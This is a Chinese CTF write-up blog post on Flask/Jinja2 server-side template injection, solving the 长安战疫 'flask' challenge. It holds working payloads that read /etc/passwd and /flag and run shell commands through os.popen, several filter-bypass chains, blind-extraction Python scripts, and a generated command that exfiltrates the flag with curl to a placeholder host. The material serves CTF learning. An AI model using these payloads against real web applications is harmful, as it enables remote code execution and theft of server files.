长安战疫web-flask复现


长安战疫web-flask复现

由于hexo博客框架的一些问题,以下在{ {与{ %之间加入空格,同时将< type ‘str’ >的<后与>前加入空格。

前置知识

flask模板注入

常用的魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

常规步骤

1.测试是否存在模板注入

?name={ {1*1} }
回显:1

2.获取’’字符串的所属对象

?name=''.__class__
回显:< type 'str' >

3.获取str类的父类

?name=''.__class__.__mro__
回显:(< class 'str' >, < class 'object' >)

4.获取object的所有子类

?name=''.__class__.__mro__[1].__subclasses__()
回显:[< class 'type' >, < class 'weakref' >, < class 'weakcallableproxy' >, < class 'weakproxy' >, < class 'int' >, < class 'bytearray' >, < class 'bytes' >, < class 'list' >, < class 'NoneType' >, < class 'NotImplementedType' >, < class 'traceback' >, < class 'super' >...

5.寻找可用的引用并引用

读取文件

现在只需要从这些类中寻找需要的类,用数组下标获取,然后执行该类中想要执行的函数即可。比如第41个类是file类,就可以构造利用:

?name=''.__class__.__mro__[1].__subclasses__()[40]('< File_To_Read >').read()

如果没有file类,使用类***<class ‘_frozen_importlib_external.FileLoader’>***,可以进行文件的读取。这里是第91个类。

?name=''.__class__.__mro__[1].__subclasses__()[91].get_data(0,"< file_To_Read >")
命令执行

首先通过脚本找到包含os模块的类

num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print (num,item)
         num+=1
    except:
        print ('-')
        num+=1

假设输出为x编号的类,则可以构造

?name=''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')

常用的包含os模板的类:

< class 'site._Printer' >
< class 'site.Quitter' >

常用

?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
常用的payload
?name=''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()
?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
?name=''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

SSTI沙盒逃逸详细总结

https://www.anquanke.com/post/id/188172

SSTL模板注入绕过方法

借鉴(抄袭)大佬博客https://blog.csdn.net/qq_45834505/article/details/116839614 强推

过滤单双引号

使用request绕过
?a=os&b=popen&c=cat /flag&name={ {url_for.__globals__[request.args.a][request.args.b](request.args.c).read()} }
字符串拼接
?name={ {url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]} }
==
?name={ {url_for.__globals__['os']} }

过滤args,中括号

cookie传值
?name={ {x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)} }
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

过滤下划线,os

使用自带过滤器attr
?name={ {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)} }
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

过滤{ undefined { undefined

将{ undefined { 换成{ % % }来绕过
盲注

原理就在于open(’/flag’).read()是回显整个文件,但是read函数里加上参数:open(’/flag’).read(i),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
    print(i)
    for j in s:
        x=flag+j
        headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
        r=requests.get(url,headers=headers)
        #print(r.text)
        if("1341" in r.text):
            flag=x
            print(flag)
            break

ban了request

得到被ban的字符

譬如:

{ % set a=dict(o=oo,s=ss)|join % }

这样得到的a就是把这个字典的键名拼接后的值,即os,这样的拼接不需要用到单双引号,常用payload:

?name=
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(24)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% }
{ %print(x.open(file).read())% }
读文件盲注
import requests
import string
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+str(ord(s[i]))+')%2b'
        else:
            t+='chr('+str(ord(s[i]))+')'
    return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{ % set a=(()|select|string|list).pop(24)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% }
{ % set cmd2='''

s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
    print(i)
    for j in s:
        x=flag+j
        u=url+ccchr(x)+'% }'+'{ % if x.open(cmd).read('+str(i)+')==cmd2% }'+'1341'+'{ % endif% }'
        #print(u)
        r=requests.get(u)
        if("1341" in r.text):            
            flag=x
            print(flag)
            break

ban了数字

使用length来获得数字

(length可以用count代替)如:

?name=
{ % set c=(dict(e=a)|join|count)% }
{ % set cc=(dict(ee=a)|join|count)% }
{ % set ccc=(dict(eee=a)|join|count)% }
{ % set cccc=(dict(eeee=a)|join|count)% }
{ % set ccccccc=(dict(eeeeeee=a)|join|count)% }
{ % set cccccccc=(dict(eeeeeeee=a)|join|count)% }
{ % set ccccccccc=(dict(eeeeeeeee=a)|join|count)% }
{ % set cccccccccc=(dict(eeeeeeeeee=a)|join|count)% }
{ % set coun=(cc~cccc)|int% }
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(coun)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)% }
{ %print(x.open(file).read())% }

过滤了print

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{ % set c=(t|count)% }
{ % set cc=(dict(e=a)|join|count)% }
{ % set ccc=(dict(ee=a)|join|count)% }
{ % set cccc=(dict(eee=a)|join|count)% }
{ % set ccccc=(dict(eeee=a)|join|count)% }
{ % set cccccc=(dict(eeeee=a)|join|count)% }
{ % set ccccccc=(dict(eeeeee=a)|join|count)% }
{ % set cccccccc=(dict(eeeeeee=a)|join|count)% }
{ % set ccccccccc=(dict(eeeeeeee=a)|join|count)% }
{ % set cccccccccc=(dict(eeeeeeeee=a)|join|count)% }
{ % set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)% }
{ % set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)% }
{ % set coun=(ccc~ccccc)|int% }
{ % set po=dict(po=a,p=a)|join% }
{ % set a=(()|select|string|list)|attr(po)(coun)% }
{ % set ini=(a,a,dict(init=a)|join,a,a)|join()% }
{ % set glo=(a,a,dict(globals=a)|join,a,a)|join()% }
{ % set geti=(a,a,dict(getitem=a)|join,a,a)|join()% }
{ % set built=(a,a,dict(builtins=a)|join,a,a)|join()% }
{ % set x=(q|attr(ini)|attr(glo)|attr(geti))(built)% }
{ % set chr=x.chr% }
{ % set cmd=% }
{ %if x.eval(cmd)% }
abc
{ %endif% }

cmd中内容用下面代码生成

def aaa(t):
    t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
    return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
    t=''
    for i in range(len(s)):
        if i<len(s)-1:
            t+='chr('+aaa(str(ord(s[i])))+')%2b'
        else:
            t+='chr('+aaa(str(ord(s[i])))+')'
    return t
print(ccchr(s))

题目详解

启动环境,F12有提示

<!--/admin-->
<!--/static.js-->
<!--
if not request.full_path.endswith(".js?"):
            if not request.full_path.startswith("/login"):
                return redirect("login")
-->

payload必须以.js?结尾,访问/admin?.js?,得到提示:admin/?name=,name值可控,尝试构造

/admin?name={ {1*1} }.js?

得到回显1,发现可以注入。构造

/admin?name=''__class__.js?

回显NO!
经过测试发现下划线,args,中括号被ban掉,最后构造

?name={ {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)} }
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

得到flag:cazy{4ll_p30pL3_w1ll_b3_Funny}
参考:
https://blog.csdn.net/qq_45834505/article/details/116839614
https://www.jianshu.com/p/b6f1aea3a2eb
https://www.cnblogs.com/NPFS/p/12764599.html
https://www.freebuf.com/column/187845.html
https://www.anquanke.com/post/id/188172


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !